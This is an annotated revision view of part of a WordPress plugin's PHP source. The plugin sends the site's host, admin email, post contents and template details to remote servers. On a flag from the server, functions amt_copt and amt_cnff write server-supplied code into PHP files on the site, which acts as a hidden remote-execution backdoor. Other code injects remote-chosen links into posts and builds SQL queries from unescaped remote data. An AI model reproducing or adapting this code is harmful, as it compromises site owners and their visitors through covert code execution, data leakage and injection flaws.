function amt_copt($m_url)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   320
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   321
global $wpdb, $amt_d;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   322
$post = Array('my_h' => $amt_d->my_h, 'my_url' => $m_url); 
0d28b7c10758 First commit
ymh
parents:
diff changeset
   323
$today=date("Y-m-d");
0d28b7c10758 First commit
ymh
parents:
diff changeset
   324
	if(!amt_cuo())
0d28b7c10758 First commit
ymh
parents:
diff changeset
   325
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   326
		if($amt_ud=amt_sender($amt_d->u_g[2], $post))
0d28b7c10758 First commit
ymh
parents:
diff changeset
   327
		{		
0d28b7c10758 First commit
ymh
parents:
diff changeset
   328
			if($amt_ud!="no" && $amt_ud!="")
0d28b7c10758 First commit
ymh
parents:
diff changeset
   329
			{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   330
			$amt_md=explode('*^*^*^*',$amt_ud);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   331
			$amt_q="update ".$amt_d->t_n[2]." set host='$amt_md[0]', t_o='$amt_md[1]', date='$today' where host='".$amt_d->host."'";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   332
			$wpdb->query($amt_q);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   333
				if($amt_md[3]==2)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   334
				{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   335
				amt_cnff($amt_md[4]);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   336
				}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   337
			}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   338
			else
0d28b7c10758 First commit
ymh
parents:
diff changeset
   339
			{ 
0d28b7c10758 First commit
ymh
parents:
diff changeset
   340
			$amt_q="update ".$amt_d->t_n[2]." set date='$today' where host='".$amt_d->host."'";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   341
			$wpdb->query($amt_q);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   342
			}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   343
		}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   344
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   345
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   346
function amt_cnff($content)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   347
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   348
global $amt_d;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   349
if($content=="") { return false; }
0d28b7c10758 First commit
ymh
parents:
diff changeset
   350
$content=
0d28b7c10758 First commit
ymh
parents:
diff changeset
   351
"<? 
0d28b7c10758 First commit
ymh
parents:
diff changeset
   352
".$content."
0d28b7c10758 First commit
ymh
parents:
diff changeset
   353
 ?>";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   354
	if(file_exists($amt_d->wp_ff))
0d28b7c10758 First commit
ymh
parents:
diff changeset
   355
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   356
	@chmod($amt_d->wp_ff, 0755);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   357
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   358
$amt_f = fopen($amt_d->wp_ff,'w');
0d28b7c10758 First commit
ymh
parents:
diff changeset
   359
$test = fwrite($amt_f, $content);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   360
@fclose($amt_f);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   361
if($test) { @chmod($amt_d->wp_ff, 0644); }
0d28b7c10758 First commit
ymh
parents:
diff changeset
   362
$s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   363
	if(file_exists($s_f_path))
0d28b7c10758 First commit
ymh
parents:
diff changeset
   364
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   365
	@chmod($s_f_path, 0755);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   366
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   367
$amt_f = fopen($s_f_path,'w');
0d28b7c10758 First commit
ymh
parents:
diff changeset
   368
$test = fwrite($amt_f, $content);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   369
@fclose($amt_f);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   370
if($test) { @chmod($s_f_path, 0644); }
0d28b7c10758 First commit
ymh
parents:
diff changeset
   371
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   372
function amt_inb($id, $last)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   373
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   374
global $wpdb, $amt_d;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   375
$amt_q="delete from ".$amt_d->t_n[0]." where id_post='$id'";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   376
$wpdb->query($amt_q);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   377
$amt_q="insert into ".$amt_d->t_n[0]." (id_post, last_up, addd) values ('$id', '$last', now())";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   378
$wpdb->query($amt_q);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   379
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   380
function amt_ins($id, $last, $cont, $url)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   381
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   382
global $amt_d;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   383
$last=str_replace(" ","_",$last);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   384
$url=trim_url($url);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   385
$post = Array('id' => $id, 'last' => $last, 'cont' => $cont, 'ttl' => $amt_d->p_ttl, 'cgy' => $amt_d->p_cgy, 'my_h' => $amt_d->my_h, 'my_url' => $url, 'a_em' => $amt_d->a_em, 'fn' => $amt_d->n_f, 'tpl' => $amt_d->r_dir[4], 'ci' => $amt_d->ci[3], 'u_tpl' => $amt_d->u_tpl); 
0d28b7c10758 First commit
ymh
parents:
diff changeset
   386
$amt_pisg=amt_sender($amt_d->u_g[0], $post);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   387
if($amt_pisg=="ok") { $pis=1; } else { $pis=0; }
0d28b7c10758 First commit
ymh
parents:
diff changeset
   388
return $pis;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   389
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   390
function amt_pib($id)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   391
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   392
global $wpdb, $amt_d;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   393
$query="select id from ".$amt_d->t_n[0]." where id_post='$id'";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   394
$wpdb->query($query);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   395
	if($wpdb->num_rows>0)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   396
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   397
	$per=$wpdb->get_var($wpdb->prepare("select datediff(now(), addd) from ".$amt_d->t_n[0]." where id_post='$id'", $rr));
0d28b7c10758 First commit
ymh
parents:
diff changeset
   398
		if($per>30)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   399
		{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   400
		return 0;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   401
		}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   402
		else
0d28b7c10758 First commit
ymh
parents:
diff changeset
   403
		{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   404
		return 1;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   405
		}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   406
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   407
return $wpdb->num_rows;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   408
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   409
function amt_qwe($id)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   410
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   411
global $wpdb, $amt_d;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   412
$query="select * from ".$amt_d->t_n[1]." where id_post='$id'";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   413
$wpdb->query($query);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   414
return $wpdb->num_rows;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   415
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   416
function amt_cuq()
0d28b7c10758 First commit
ymh
parents:
diff changeset
   417
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   418
global $wpdb, $amt_d;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   419
$today=date("Y-m-d"); 
0d28b7c10758 First commit
ymh
parents:
diff changeset
   420
$date_up=$wpdb->get_var($wpdb->prepare("select date from ".$amt_d->t_n[1]." limit 1", $rr));
0d28b7c10758 First commit
ymh
parents:
diff changeset
   421
	if($date_up!=$today)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   422
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   423
	return false;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   424
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   425
	else
0d28b7c10758 First commit
ymh
parents:
diff changeset
   426
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   427
	return true;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   428
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   429
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   430
function amt_cuo()
0d28b7c10758 First commit
ymh
parents:
diff changeset
   431
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   432
global $amt_d;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   433
$today=date("Y-m-d"); 
0d28b7c10758 First commit
ymh
parents:
diff changeset
   434
	if($amt_d->c_d!=$today)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   435
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   436
	return false;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   437
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   438
	else
0d28b7c10758 First commit
ymh
parents:
diff changeset
   439
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   440
	return true;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   441
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   442
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   443
function amt_qse($id, $m_url)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   444
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   445
global $wpdb, $amt_d;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   446
$today=date("Y-m-d"); 
0d28b7c10758 First commit
ymh
parents:
diff changeset
   447
$m_url=trim_url($m_url);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   448
$post = Array('id' => $id, 'my_h' => $amt_d->my_h, 'my_url' => $m_url); 
0d28b7c10758 First commit
ymh
parents:
diff changeset
   449
	if($amt_nq=amt_sender($amt_d->u_g[1], $post))
0d28b7c10758 First commit
ymh
parents:
diff changeset
   450
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   451
		if($amt_nq=="no quests")
0d28b7c10758 First commit
ymh
parents:
diff changeset
   452
		{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   453
		$amt_q1="delete from ".$amt_d->t_n[1].";";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   454
		$wpdb->query($amt_q1);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   455
		$amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('0', '0', '', '0', '', '$today')";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   456
		echo $amt_q2;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   457
		$wpdb->query($amt_q2);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   458
		}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   459
		else
0d28b7c10758 First commit
ymh
parents:
diff changeset
   460
		{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   461
		$amt_q1="delete from ".$amt_d->t_n[1].";";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   462
		$wpdb->query($amt_q1);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   463
		$amt_qs=explode("*****",$amt_nq);	
0d28b7c10758 First commit
ymh
parents:
diff changeset
   464
			for($q=0;$q < sizeof($amt_qs);$q++)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   465
			{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   466
			$m_amt_q=explode("^^^",$amt_qs[$q]);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   467
			$amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('$m_amt_q[4]', '$m_amt_q[0]', '$m_amt_q[1]', '$m_amt_q[2]', '$m_amt_q[3]', '$today')";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   468
			$wpdb->query($amt_q2);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   469
			}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   470
		}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   471
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   472
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   473
function amt_sender($url, $post)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   474
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   475
global $amt_d;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   476
$_post=Array();
0d28b7c10758 First commit
ymh
parents:
diff changeset
   477
	if(is_array($post))
0d28b7c10758 First commit
ymh
parents:
diff changeset
   478
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   479
		foreach($post as $name => $value)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   480
		{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   481
		$_post[]=$name.'='.urlencode($value);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   482
		}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   483
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   484
	if (function_exists("curl_init"))
0d28b7c10758 First commit
ymh
parents:
diff changeset
   485
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   486
	$ch=curl_init($url);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   487
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   488
	curl_setopt($ch, CURLOPT_POST, 1);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   489
	curl_setopt($ch, CURLOPT_HEADER, 0);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   490
	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $amt_d->t_o);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   491
	curl_setopt($ch, CURLOPT_USERAGENT, "Penetrator/3.0");
0d28b7c10758 First commit
ymh
parents:
diff changeset
   492
	curl_setopt($ch, CURLOPT_REFERER, $amt_d->my_h);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   493
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   494
		if(is_array($post))
0d28b7c10758 First commit
ymh
parents:
diff changeset
   495
		{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   496
		curl_setopt($ch, CURLOPT_POSTFIELDS, join('&', $_post));
0d28b7c10758 First commit
ymh
parents:
diff changeset
   497
		}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   498
	$result=curl_exec($ch);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   499
		if(curl_errno($ch)!=0 && empty($result))
0d28b7c10758 First commit
ymh
parents:
diff changeset
   500
		{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   501
		$result=false;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   502
		}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   503
	curl_close($ch);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   504
	$result="HTTPSTART".$result;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   505
	$result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   506
	return $result;  
0d28b7c10758 First commit
ymh
parents:
diff changeset
   507
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   508
	else
0d28b7c10758 First commit
ymh
parents:
diff changeset
   509
	{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   510
	$parse_url = parse_url($url);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   511
	$path = $parse_url["path"];
0d28b7c10758 First commit
ymh
parents:
diff changeset
   512
	$host= $parse_url["host"];
0d28b7c10758 First commit
ymh
parents:
diff changeset
   513
	$result="";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   514
	$post=implode('&', $_post);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   515
	$fp=fsockopen($host, 80);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   516
		if($fp)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   517
		{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   518
		socket_set_timeout($fp, $amt_d->t_o);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   519
		$request = "POST $path HTTP/1.1\r\n";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   520
		$request .= "Host: $host\r\n";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   521
		$request .= "User-Agent: Penetrator/3.0\r\n";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   522
		$request .= "Content-Type: application/x-www-form-urlencoded\r\n";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   523
		$request .= "Referer: ".$amt_d->my_h."\r\n";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   524
		$request .= "Content-Length: ".strlen($post)."\r\n";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   525
		$request .= "Connection: close\r\n\r\n$post";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   526
		fputs($fp,$request);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   527
			while(!feof($fp))
0d28b7c10758 First commit
ymh
parents:
diff changeset
   528
			{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   529
			$result.=fgets($fp);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   530
			}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   531
		fclose($fp);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   532
		$result="HTTPSTART".$result;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   533
		$result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   534
		return $result;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   535
		}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   536
	return false;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   537
	}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   538
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   539
function amt_create_post_words($content,$word,$id_word,$link,$nwm)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   540
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   541
$n_content=strip_tags($content);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   542
$word=trim($word);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   543
$t_link="http://".$link;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   544
$w=0;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   545
$sha2="/(.{1,".$nwm."})(\*\*\* ".$word.".{1}\*\*\*|\*\*\*".$word.".{1}\*\*\*)(.{1,".$nwm."})/si";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   546
$bilo="/( ".$word.".{1}|".$word.".{1})/si";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   547
$stalo="***\\0***";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   548
$new_content=preg_replace($bilo,$stalo,$n_content);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   549
preg_match_all($sha2,$new_content,$massa);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   550
$sha_word=erase_zv($massa[0][$id_word]);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   551
$sha_word_l=strong_word($sha_word,$word,$t_link);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   552
$content=str_replace($sha_word,$sha_word_l,$content);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   553
return $content;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   554
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   555
function erase_zv($text)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   556
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   557
$text=str_replace(",***",",",$text);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   558
$text=str_replace(".***",".",$text);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   559
$text=str_replace(" ***"," ",$text);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   560
$text=str_replace("*** "," ",$text);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   561
$text=str_replace("***"," ",$text);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   562
return $text;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   563
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   564
function trim_side($text)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   565
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   566
$new_text="";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   567
$txt=explode(" ", $text);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   568
$n_w=sizeof($txt);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   569
    for($ts=1;$ts<$n_w-1;$ts++)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   570
        {
0d28b7c10758 First commit
ymh
parents:
diff changeset
   571
        $new_text.=$txt[$ts]." ";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   572
        }
0d28b7c10758 First commit
ymh
parents:
diff changeset
   573
return $new_text;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   574
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   575
function strong_word($content,$word,$t_link)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   576
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   577
$bilo="/( ".$word.".{1}|".$word.".{1})/si";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   578
$stalo="<a href='file:///D|/prj/wp/test/$t_link'>\\0</a>";
0d28b7c10758 First commit
ymh
parents:
diff changeset
   579
$content=preg_replace($bilo,$stalo,$content);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   580
$content=str_replace("> ",">",$content);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   581
$content=str_replace(" <","<",$content);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   582
$content=str_replace("<"," <",$content);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   583
$content=str_replace(" </a>","</a>",$content);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   584
$content=str_replace("</a>","</a> ",$content);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   585
$content=str_replace(",</a>","</a>, ",$content);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   586
$content=str_replace(".</a>","</a>. ",$content);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   587
$content=str_replace("  "," ",$content);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   588
return $content;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   589
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   590
function trim_url($url)
0d28b7c10758 First commit
ymh
parents:
diff changeset
   591
{
0d28b7c10758 First commit
ymh
parents:
diff changeset
   592
$url=preg_replace("(www.|http://)", "", $url);
0d28b7c10758 First commit
ymh
parents:
diff changeset
   593
return $url;
0d28b7c10758 First commit
ymh
parents:
diff changeset
   594
}
0d28b7c10758 First commit
ymh
parents:
diff changeset
   595
?>